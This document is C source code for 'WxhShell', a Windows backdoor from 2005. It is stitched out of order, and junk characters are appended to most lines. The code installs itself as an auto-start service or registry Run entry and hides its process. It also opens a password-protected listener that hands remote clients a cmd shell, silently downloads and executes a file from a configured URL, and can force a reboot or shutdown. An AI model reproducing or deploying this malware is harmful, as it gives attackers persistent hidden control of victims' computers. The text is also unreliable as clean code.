    else { F 9d6#~  
    closesocket(wsh); %s9*?6  
    ExitThread(0); 1 3)6p|6x  
    } 9ZR"Lo>3e+  
    break; J><hrZ  
    } z@?y(E  
  // 获取shell 0NU3% 4?  
  case 's': { 8 nqF i  
    CmdShell(wsh); "u&7Y:)^wr  
    closesocket(wsh); /u`Opv&I  
    ExitThread(0); kmo#jITa`  
    break; Evqy e;  
  } u,}>I%21  
  // 退出 .sOZ"=tW  
  case 'x': { l@u  "iGw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4:733Q3oK  
    CloseIt(wsh); yx6^ mis4  
    break; $:1/`m19  
    } ~X %cbFom=  
  // 离开 a?4Asn  
  case 'q': { "*V'   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _3O*"S=1  
    closesocket(wsh); ,KF>@3f  
    WSACleanup(); Dq9f Fe  
    exit(1); SB5qm?pT8<  
    break;  j0O1??  
        } M?hPlo"_  
  } <7B;_3/  
  } 3m2y<l<  
n <HF]  
  // 提示信息 3,{;wJ Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !U(KQ:j  
} 4`cfFowK~  
  } f,LeJTX=  
t\!5$P  
  return; ;- Vs|X  
} d(9SkXr  
/k^j'MMQs6  
// shell模块句柄 W~i0.rg|>  
int CmdShell(SOCKET sock) ~x_(v,NW  
{ 5GPAt  
STARTUPINFO si; 5H 1x-b  
ZeroMemory(&si,sizeof(si)); P9Eh, j0_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kI5LG6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |8x_Av0  
PROCESS_INFORMATION ProcessInfo; 2)n%rvCQ  
char cmdline[]="cmd"; f^5sJ 0;%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^{++h?cS)  
  return 0; 2"P1I  
}  x}d5 Y  
NA/Sv"7om  
// 自身启动模式 @wP.Rd  
int StartFromService(void) <8Z%'C6d  
{ e U-A_5  
typedef struct p!?7;  
{ miCY?=N`  
  DWORD ExitStatus; G`;mSq6i  
  DWORD PebBaseAddress; Z vyF"4QN  
  DWORD AffinityMask; wjOqCF"  
  DWORD BasePriority; v{\~>1J{  
  ULONG UniqueProcessId; `<Hc,D; p  
  ULONG InheritedFromUniqueProcessId; #}Ays#wA>?  
}   PROCESS_BASIC_INFORMATION; mcQ\"9;pY  
.Dr7YquW  
PROCNTQSIP NtQueryInformationProcess; }JT&lyO< b  
+yHzp   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R9+f^o` W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }ASBP:c"t  
(ijO|%?  
  HANDLE             hProcess; % %2~%FVb  
  PROCESS_BASIC_INFORMATION pbi; nXxnyom,  
/`O'eH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r&L1jT.  
  if(NULL == hInst ) return 0; L;KLmxy#  
qEkhgJqk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UB% ;P-RD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !W=2ZlzS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FOcDBCrOe  
I+Fr#1  
  if (!NtQueryInformationProcess) return 0; `]Vn[^?D  
o%Qn%gaX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q#Ik3 5  
  if(!hProcess) return 0; !}xRwkN  
_)# ~D*3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2L1Azx  
ACgWT  
  CloseHandle(hProcess); TR{dNO!q  
x/92],.Mz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F0Z cV>j}  
if(hProcess==NULL) return 0; x1:1Jj:  
8EI&}I  
HMODULE hMod; H329P*P  
char procName[255]; 1+Y; "tT  
unsigned long cbNeeded; P~"""3de4  
$I /RN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .>( qZEF  
i{>YQ  
  CloseHandle(hProcess); .MRLA G  
*P[N.5{  
if(strstr(procName,"services")) return 1; // 以服务启动 z7lbb*Xe  
=iPQ\_ON@  
  return 0; // 注册表启动 'zTa]y]a  
} DAd$u1  
m3_)UIJZ  
// 主模块 hM`*- +Zb  
int StartWxhshell(LPSTR lpCmdLine) 2?owXcbx  
{ UgLJV2M6  
  SOCKET wsl; faI4`.i  
BOOL val=TRUE; ;V1e>?3  
  int port=0; s-xby~  
  struct sockaddr_in door; -QP1Se*#  
OB ~74}3;  
  if(wscfg.ws_autoins) Install(); 2O9OEZdKB  
cNqw(\rr  
port=atoi(lpCmdLine); = G3A}  
!GVxQll[f  
if(port<=0) port=wscfg.ws_port; *r]#jY4qx  
-3:x(^|:K  
  WSADATA data; 4'# _b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j-etEWOTr  
#Y<b'7yJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rd*/J~TK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5($ '@u  
  door.sin_family = AF_INET; (tP^F)}e5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DnPV Tp(>  
  door.sin_port = htons(port); P(Hh%9'(  
@;z}Hk0A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1YMu\(  
closesocket(wsl); 6e;.}i  
return 1; qT L@N9  
} lL:J:  
V]9 ?9-r  
  if(listen(wsl,2) == INVALID_SOCKET) { v<Ux+-  
closesocket(wsl); K<+h/Ok  
return 1; c8jq.y v  
} NASRr  
  Wxhshell(wsl); g@lAk%V4  
  WSACleanup(); 1 {V*(=Tp  
Y,@{1X`0@3  
return 0; 07+Qai-]  
Ie?C<(8Ul  
} izi=`;=D^  
p(Q5!3C0q  
// 以NT服务方式启动 5<ycF_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ofg-gCF8  
{ AHhck?M^  
DWORD   status = 0; Rj=xn(@d  
  DWORD   specificError = 0xfffffff; YX_p3  
K(HP PM\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R@r"a&{/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o3l_&?^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .r?-O{2t  
  serviceStatus.dwWin32ExitCode     = 0; 3l 0>  
  serviceStatus.dwServiceSpecificExitCode = 0; 7m=tu?@  
  serviceStatus.dwCheckPoint       = 0; @vaK-&|#$  
  serviceStatus.dwWaitHint       = 0; {e?D6`#x  
`:A`%Fg8<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Qb_BNUo  
  if (hServiceStatusHandle==0) return; 8:,l+[\  
eVDI7W:(Sn  
status = GetLastError(); \qqt/  
  if (status!=NO_ERROR) >LwZ"IE V  
{ >_]j{}~\k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;%AK< RT  
    serviceStatus.dwCheckPoint       = 0; 7!`,P  
    serviceStatus.dwWaitHint       = 0; kfBVF%90  
    serviceStatus.dwWin32ExitCode     = status; N$H0o+9-Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; R1FBH:Iu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0p_/eWww-  
    return; [(Pm\o  
  } +I7n6s\  
CC>]Gc7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Q=4{*:?  
  serviceStatus.dwCheckPoint       = 0; -Vk+zEht  
  serviceStatus.dwWaitHint       = 0; fNc3&=]]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q7C>A`w  
} ZUb6d*B  
RJ1 Q.o  
// 处理NT服务事件,比如:启动、停止 v3Y/D1jd"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $z]gy]F  
{ B8:_yAv o  
switch(fdwControl) E[>4b7{g:  
{ e/E fWwqt  
case SERVICE_CONTROL_STOP: w9h\J#f  
  serviceStatus.dwWin32ExitCode = 0; Ex~[Hk4ow  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HKCMKHR  
  serviceStatus.dwCheckPoint   = 0; GH![rK  
  serviceStatus.dwWaitHint     = 0; iNgHx[*?  
  { ` a5$VV%J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =usx' #rb  
  } =m=`|Bn  
  return; 'c\zW mAZ  
case SERVICE_CONTROL_PAUSE: -#H>kbs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; impzqQlZ,  
  break; $6T*\(;T@A  
case SERVICE_CONTROL_CONTINUE: 16[>af0<g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yw2^kk93|  
  break; `AeId/A4n  
case SERVICE_CONTROL_INTERROGATE: #vYdP#nWb  
  break; 9. Q;J#;1  
}; G:$wdT(u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |r!G(an1x4  
} Zg%U4m:  
l. ?R7f  
// 标准应用程序主函数 -@-cG\{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dy;Ue5  
{ b2. xJ4  
#[C |%uq  
// 获取操作系统版本 0m6Vf x  
OsIsNt=GetOsVer(); s (J,TS#I]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -kxNJ Gc?  
sXkWs2!  
  // 从命令行安装 mF [w-<:.d  
  if(strpbrk(lpCmdLine,"iI")) Install(); IY?[0S  
Xz&Hfs"/J  
  // 下载执行文件 a;D{P`%n  
if(wscfg.ws_downexe) { c%r?tKG6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &xMR{:  
  WinExec(wscfg.ws_filenam,SW_HIDE); Id(o6j^J_  
} 7^#f<m;Ar!  
/Ou`$2H87  
if(!OsIsNt) { Ey=(B'A~  
// 如果时win9x,隐藏进程并且设置为注册表启动 MbC7`Sp&i  
HideProc(); ]d}Z2I'  
StartWxhshell(lpCmdLine); o-Pa3L=  
} (m4`l_  
else N&U=5c`Q'  
  if(StartFromService()) Wo2TU!  
  // 以服务方式启动 \,i9m9;y  
  StartServiceCtrlDispatcher(DispatchTable); c_<m8b{AEF  
else a H'iW)  
  // 普通方式启动 1w/1k6`0  
  StartWxhshell(lpCmdLine); ,J"6(nk  
lcHw Kd  
return 0; vF0#]  
} E8zga )  
!*ct3{m  
kB {  
^A dHP!I  
=========================================== sxIvL7jl  
RiqYC3Ka  
Q{T6t;eH  
'8K5=|!J  
q  9lz  
S#6{4x4  
" :0x,%V74_!  
e`zx#v  
#include <stdio.h> A!\ouKyayS  
#include <string.h> |1wfLJ4--l  
#include <windows.h> AM  cHR=/  
#include <winsock2.h> 2K4Jkyi  
#include <winsvc.h> X ptb4]  
#include <urlmon.h> _^;+_6&[  
$#4Qv5}  
#pragma comment (lib, "Ws2_32.lib") Osncl5PD)  
#pragma comment (lib, "urlmon.lib") u :AKp<'  
=(:{>tO_"  
#define MAX_USER   100 // 最大客户端连接数 ivDmPHj{  
#define BUF_SOCK   200 // sock buffer yH5^EY7rQ  
#define KEY_BUFF   255 // 输入 buffer ~sj'GEhEg  
|b" h+  
#define REBOOT     0   // 重启 _L 5<  
#define SHUTDOWN   1   // 关机 DKw%z8ft|  
mW~t/$Y$  
#define DEF_PORT   5000 // 监听端口 d5h]yIz^  
7Mq4$|qhD  
#define REG_LEN     16   // 注册表键长度 TP7'tb  
#define SVC_LEN     80   // NT服务名长度 4.il4Qqy}i  
Otq`45  
// 从dll定义API D#Qfa!=g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]Hr:|2 |.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eD5:0;X2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p|fSPSz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W[Kv Qt3%  
i4;`dCT|A  
// wxhshell配置信息 f}{ lRk  
struct WSCFG { z\64Qpfm  
  int ws_port;         // 监听端口 4Ufx,]  
  char ws_passstr[REG_LEN]; // 口令 /){F0Zjjt  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 Z|c!QIU  
  char ws_regname[REG_LEN]; // 注册表键名 qZw4"&,j$  
  char ws_svcname[REG_LEN]; // 服务名 #m>Rt~(,S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Dn~e#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +LBDn"5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'lmZ{a6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F>N3GPRl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >JdA,i}1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rb8c^u#r  
5gP<+S#>T  
}; cfZG3 "  
F.;G6  
// default Wxhshell configuration RSL%<  
struct WSCFG wscfg={DEF_PORT, -anLp8G*  
    "xuhuanlingzhe", bOIVe  
    1, 38Rod]\E  
    "Wxhshell", $E=t6WvA  
    "Wxhshell", f1eY2UtWQ  
            "WxhShell Service", 2 uuI_9 "^  
    "Wrsky Windows CmdShell Service", do3 BI4Q  
    "Please Input Your Password: ", `D2wlyqO6  
  1, E>_?9~8Mf  
  "http://www.wrsky.com/wxhshell.exe", 9a.r(W[9  
  "Wxhshell.exe" !: e0cV  
    }; X`,4pSQ;  
,.# SEv5  
// 消息定义模块 k:?+75?$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [,GXA)j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9ICC2%j|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @(:ah  
char *msg_ws_ext="\n\rExit."; |. bp  
char *msg_ws_end="\n\rQuit."; ~&E|;\G  
char *msg_ws_boot="\n\rReboot..."; 3F%Q q7v  
char *msg_ws_poff="\n\rShutdown..."; $}[Tj0+:  
char *msg_ws_down="\n\rSave to "; +{%@kX<V_  
Sr7+DCr  
char *msg_ws_err="\n\rErr!"; vBUl6EmWu  
char *msg_ws_ok="\n\rOK!"; 9JF*xXd>Q  
x,9fOA  
char ExeFile[MAX_PATH]; FV[6">;g  
int nUser = 0; wu*WA;FnA  
HANDLE handles[MAX_USER]; JOj\#!\>k0  
int OsIsNt; =k4yWC5-  
>40B Fxc  
SERVICE_STATUS       serviceStatus; E(G=~>P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r#{r]q_E*  
{$iJYS\  
// 函数声明 D3^[OHi~a  
int Install(void); Q9K+k*?{N  
int Uninstall(void); ':,6s  
int DownloadFile(char *sURL, SOCKET wsh); ~A8%[.({5  
int Boot(int flag); MDkIaz\U  
void HideProc(void); >Kl78w:  
int GetOsVer(void); UQ|zSalv,  
int Wxhshell(SOCKET wsl); H*QN/{|RU  
void TalkWithClient(void *cs); uTJi }4cw  
int CmdShell(SOCKET sock); v9~Hl   
int StartFromService(void); 6'C!Au  
int StartWxhshell(LPSTR lpCmdLine); LvpHR#K)F5  
dE5DH~ldV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  =erA.u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $"{V],:T |  
v)JQb-<  
// 数据结构和表定义 $8&HpX#h$  
SERVICE_TABLE_ENTRY DispatchTable[] =  OU=9fw  
{ Y6A]dk  
{wscfg.ws_svcname, NTServiceMain}, @"9y\1u  
{NULL, NULL} |D^Q}uT  
}; yZ&By?.0  
}wR)p  
// 自我安装 hE:P'O1  
int Install(void) hBsjO3n  
{ yh_s(>sh  
  char svExeFile[MAX_PATH]; dh/:H/k kR  
  HKEY key; :0T]p"y4  
  strcpy(svExeFile,ExeFile); 7kn=j6I  
,WOF)   
// 如果是win9x系统,修改注册表设为自启动 X_ >B7(k   
if(!OsIsNt) { p!'wOThO`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _| 8"&*T^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _0F6mg n  
  RegCloseKey(key); `Uk,5F5   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;_j\E(^%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9r1pdG_C@  
  RegCloseKey(key);  CjQ_oNI  
  return 0; {yyg=AMz  
    } q1dYiG.-Z  
  } n2#uH  
} @=wAk5[IN  
else { C`mXEX5  
\g4\a?i  
// 如果是NT以上系统,安装为系统服务 (kp}mSw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4)j<(5  
if (schSCManager!=0) Q X@&~  
{ W \f7fVU  
  SC_HANDLE schService = CreateService +G/~v`Bv  
  ( *7*g! km  
  schSCManager, A#1y>k  
  wscfg.ws_svcname, f`Wfw3  
  wscfg.ws_svcdisp, #UND'c(5  
  SERVICE_ALL_ACCESS, M~662]Ekk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `MTOe 1  
  SERVICE_AUTO_START, 5RLK]=  
  SERVICE_ERROR_NORMAL, _ux 6SIyp`  
  svExeFile, * )]SsM1  
  NULL, G|O"Kv6  
  NULL, .j&jf^a5  
  NULL, r LfS9H  
  NULL, =m/2)R{  
  NULL oub4/0tN,~  
  ); tb=L+WAIw  
  if (schService!=0) 3F.O0Vz  
  { 8=nm`7(]  
  CloseServiceHandle(schService); U'lmQrF!  
  CloseServiceHandle(schSCManager); |x5 w;=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w@:o:yLS  
  strcat(svExeFile,wscfg.ws_svcname); q6G([h7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t#pY2!/T3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2!6Kzq  
  RegCloseKey(key); #&8 Opo(  
  return 0; hXr vb[6  
    } Ow^%n(Ezh  
  } &0C!P=-p  
  CloseServiceHandle(schSCManager); }E1Eq  
} \U-5&,fP  
} |y=gp  
11-uJVO~*  
return 1; L+kS8D<  
} O0{v`|w9+  
g1{wxBFE  
// 自我卸载 RI*%\~6t?  
int Uninstall(void) sO6t8)$b  
{ $7bmUQ|  
  HKEY key; 0,3 ':Df  
QA9vH'  
if(!OsIsNt) { VN".NEL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bG&qgbN>  
  RegDeleteValue(key,wscfg.ws_regname); {vH8X(m  
  RegCloseKey(key); vVf!XZF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a|53E<5X  
  RegDeleteValue(key,wscfg.ws_regname); HWU{521  
  RegCloseKey(key); h ,n!x:zy@  
  return 0; X5yhS  
  } 1&As:kv5I  
} b>(l F%M  
} N~kYT\$b#  
else { [aC9vEso!  
fh 3 6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %jf gncW  
if (schSCManager!=0) c8s/`esA  
{ O:x%!-w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y$"L`*W  
  if (schService!=0) /Rz,2jfRx'  
  { U,S286  
  if(DeleteService(schService)!=0) { /W>"G1)  
  CloseServiceHandle(schService); ZM.g +-9  
  CloseServiceHandle(schSCManager); q<8HG_  
  return 0; c2f$:XiM  
  } %G&v@R  
  CloseServiceHandle(schService); /km3L7L%R  
  } A~>=l=  
  CloseServiceHandle(schSCManager); A%O#S<sa  
} jY.%~Y1y  
} Ei<:=6EX?8  
J"MJVMo$T  
return 1; iT"Itz-^#  
} f+Go8Lg=M  
(jG$M=q-  
// 从指定url下载文件 jFv<]D%A[  
int DownloadFile(char *sURL, SOCKET wsh) GZt] 38V)g  
{ hdL2`5RFF  
  HRESULT hr; t} M3F-NZ  
char seps[]= "/"; k N+(  
char *token; LfApVUm  
char *file; %R>S"  
char myURL[MAX_PATH]; {@%(0d{n}  
char myFILE[MAX_PATH]; ~4<3`l=A  
h_L '_*  
strcpy(myURL,sURL); POXn6R!mM1  
  token=strtok(myURL,seps); O2dgdtm  
  while(token!=NULL) lz 6 Aj  
  { 4vS!99v)  
    file=token; Se8y-AL6x>  
  token=strtok(NULL,seps); bn35f<+  
  } ?g4|EV-56  
Rp*t"HSaAW  
GetCurrentDirectory(MAX_PATH,myFILE); }0RFo96) v  
strcat(myFILE, "\\"); )}!'VIe^!  
strcat(myFILE, file); 1_C6KS  
  send(wsh,myFILE,strlen(myFILE),0);  )S;ps  
send(wsh,"...",3,0); pQ{t< >  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  &7&*As  
  if(hr==S_OK) OvG0UXRU  
return 0; 9m4rNvb  
else {B.]w9  
return 1; m!g8@YI  
Uc0'XPo3I  
} VAE?={-  
yZ$;O0f&&  
// 系统电源模块 @F^L4 N':  
int Boot(int flag) gDNW~?/  
{ `kSCH; mwP  
  HANDLE hToken; @|Bp'`j%J  
  TOKEN_PRIVILEGES tkp; !\O,dq  
U&$]?3?  
  if(OsIsNt) { =Gz>ZWF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #!,`EU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <h51KPo^P  
    tkp.PrivilegeCount = 1;  7`@?3?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F$ p*G][  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G5J ZB7C  
if(flag==REBOOT) { RpP[ymMZJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wLe&y4  
  return 0; &(^u19TKl  
} H)aC'M^  
else { , %O3^7i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uN3J)@;_  
  return 0; !BuJC$  
} 6XK`=ss?  
  } A!Ct,%   
  else { 91d`LsP  
if(flag==REBOOT) { aEdJri  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YPDsE&,J)  
  return 0; N: jiZ)  
} pbxcsA\  
else { s{J!^q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nL 07^6(  
  return 0; SSbK[aR  
} qq3Qd,$Z  
} vP)~j1  
gJ8 c]2c  
return 1; 7"NJraQ6  
} MXJ9,U{<C'  
xj q7%R_,  
// win9x进程隐藏模块 +Z~!n  
void HideProc(void) [P c[{(  
{ UMi`u6#  
(Cd{#j<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jy@i(@Z  
  if ( hKernel != NULL ) EQOP?>mWx!  
  { ,3- -ERf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pW--^aHu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S Ljf<.S  
    FreeLibrary(hKernel); bKMR7&e.Ep  
  } (yAvDyJOn  
?&<o_/`-H5  
return; 5~%,u2  
} po2[uJ  
HGQ?(2]8$  
// 获取操作系统版本 4zfRD`;  
int GetOsVer(void) X8SRQO^  
{ grxl{uIC8  
  OSVERSIONINFO winfo; N|O]z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eQax ZMU  
  GetVersionEx(&winfo); zvb} p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ssyd8LC#  
  return 1; i|]Va44  
  else XZdr`$zf  
  return 0; [aM'  
} {+ 6D-rDw  
$7DcQ b9  
// 客户端句柄模块 71/m.w  
int Wxhshell(SOCKET wsl) kAB+28A  
{ .F$|j1y  
  SOCKET wsh; /sT ^lf=  
  struct sockaddr_in client; *zVLy^L_8  
  DWORD myID; 6;[/ 9  
D@\;@( |  
  while(nUser<MAX_USER) X:``{!~geo  
{ "ryk\}*<  
  int nSize=sizeof(client); =GKS;d#/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r -q3+c^+  
  if(wsh==INVALID_SOCKET) return 1; 4o4 =  
}uI7 \\S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xBRh !w  
if(handles[nUser]==0) ey\m)6A$  
  closesocket(wsh); m&`(p f4A  
else Z2rzb{oS}  
  nUser++; JYg% ~tW'  
  } t.E4Tqzc>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wLOQhviI^-  
{ 8f+h  
  return 0; jH&_E'XMX  
} M6jp1:ZH2q  
jkF+g$B  
// 关闭 socket 4j@i%  
void CloseIt(SOCKET wsh) K/2.1o;9  
{ /$9BPjO{  
closesocket(wsh); 6 tc:A5mK  
nUser--; :/v,r=Y9p  
ExitThread(0); .5Knbc  
} 7k] RO  
&v$,pg%-:  
// 客户端请求句柄 gE@$~Q>M  
void TalkWithClient(void *cs) kYxl1n v  
{ os1?6 z~  
2f|6z- Z  
  SOCKET wsh=(SOCKET)cs; OQ(D5GR:4  
  char pwd[SVC_LEN]; nw0L1TP/J  
  char cmd[KEY_BUFF]; !8Z2X!$m{<  
char chr[1]; ?h!t$QQ!M  
int i,j; G[3k  
-=$% {  
  while (nUser < MAX_USER) { ieo|%N{'  
dh^+l;!L  
if(wscfg.ws_passstr) { K DYYB6|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u R\m`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kDzj%sm!  
  //ZeroMemory(pwd,KEY_BUFF); {J~(#i k   
      i=0; ,Z>wbMJig  
  while(i<SVC_LEN) { >[ug zJ  
4!l sk:R  
  // 设置超时 _+ twq i  
  fd_set FdRead; q*6q}s3n  
  struct timeval TimeOut; 8RdP:*HY  
  FD_ZERO(&FdRead); iOT)0@f'  
  FD_SET(wsh,&FdRead); J=UZ){c>:.  
  TimeOut.tv_sec=8; fyI_  
  TimeOut.tv_usec=0; oi2J :Y4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Ph]F$ZP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `gBD_0<T7  
-uWKY6 :5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5A Gk  
  pwd=chr[0]; J &!B|TS  
  if(chr[0]==0xd || chr[0]==0xa) { izCaB~{/  
  pwd=0; (/"thv5vT{  
  break; [2Iau1<@  
  } BlXX:aZv  
  i++; Lf >YdD  
    } n0_B(997*  
$v]T8|h  
  // 如果是非法用户,关闭 socket cV-i*L4X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $#5klA  
} I(pb-oY3!I  
vXephR'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dk6?Nwy"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q"S(7xWS  
\}Dpb%^\  
while(1) { Hk,lX r  
X E 9)c   
  ZeroMemory(cmd,KEY_BUFF); (@ "=F6P  
;4 ,'y  
      // 自动支持客户端 telnet标准   5^yG2&>#  
  j=0; n!a<:]b<  
  while(j<KEY_BUFF) { yVaUt_Zi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [FGgkd}  
  cmd[j]=chr[0]; zLP],wB  
  if(chr[0]==0xa || chr[0]==0xd) { _z q)0\  
  cmd[j]=0; \/!ZA[D|E\  
  break; Jy9bY  
  } qU#$2  
  j++; 0h22V$  
    } sTkIR5Z  
+@0TMK,P  
  // 下载文件 n12UBvc}%  
  if(strstr(cmd,"http://")) { %swR:Bv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 402x<H  
  if(DownloadFile(cmd,wsh)) H'EY)s Hi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ui< E?v  
  else QQFf5^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8V-,Xig;`  
  } K#!X><B'  
  else { >Q=Ukn;k  
4=xq:Tf  
    switch(cmd[0]) { i ?;R}%~  
  o2aM#Q  
  // 帮助 z1vw'VT>  
